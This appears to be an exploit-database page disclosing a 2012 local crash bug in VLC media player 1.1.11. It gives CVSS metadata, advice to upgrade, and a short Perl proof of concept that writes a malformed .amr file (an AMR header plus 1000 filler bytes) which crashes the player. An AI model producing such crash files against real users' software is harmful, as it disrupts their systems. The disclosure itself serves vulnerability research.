header-logo
Suggest Exploit
vendor:
VLC media player
by:
Fabi@habsec
7,5
CVSS
HIGH
Local Crash PoC
119
CWE
Product Name: VLC media player
Affected Version From: 1.1.11
Affected Version To: 1.1.11
Patch Exists: YES
Related CWE: N/A
CPE: vlc/1.1.11
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 7 x86 English
2012

VLC media player v1.1.11 (.amr) Local Crash PoC

Unhandled Access Violation Exception loading generated .amr file - 1.1.10 not affected!

Mitigation:

Upgrade to the latest version of VLC media player
Source

Exploit-DB raw data:

#!/usr/bin/perl
##
# Exploit Title: VLC media player v1.1.11 (.amr) Local Crash PoC
# Date: 04.01.2012
# Author: Fabi@habsec (hapsec@gmail.com)
# Software Link: http://sourceforge.net/projects/vlc/files/1.1.11/win32/vlc-1.1.11-win32.exe
# Version: 1.1.11
# Tested on: Windows 7 x86 English
#
# Description: Unhandled Access Violation Exception loading generated .amr file
#              - 1.1.10 not affected!
#
##
#
#
#
system("title VLC .amr crash PoC");
system("cls");
print "\n";                  
print " [*] Name : VLC media player v1.1.11 (Adaptive Multi-Rate)\n";
print " [*] Exploit : Local Crash PoC                            \n";
sleep(2);
print "\n";
my $amr_boof = "\x23\x21\x41\x4D\x52"; # Treat as AMR 
$amr_boof .= "\x41"x1000; # j4f
open(file , ">", "b00f.amr");
print file $amr_boof;
print "  [+] File successfully created! Open in VLC or drag to playlist..\n" or die print "\n Wuups- Could not create File.. ";
close(file);
# 
#Hannibal ante portas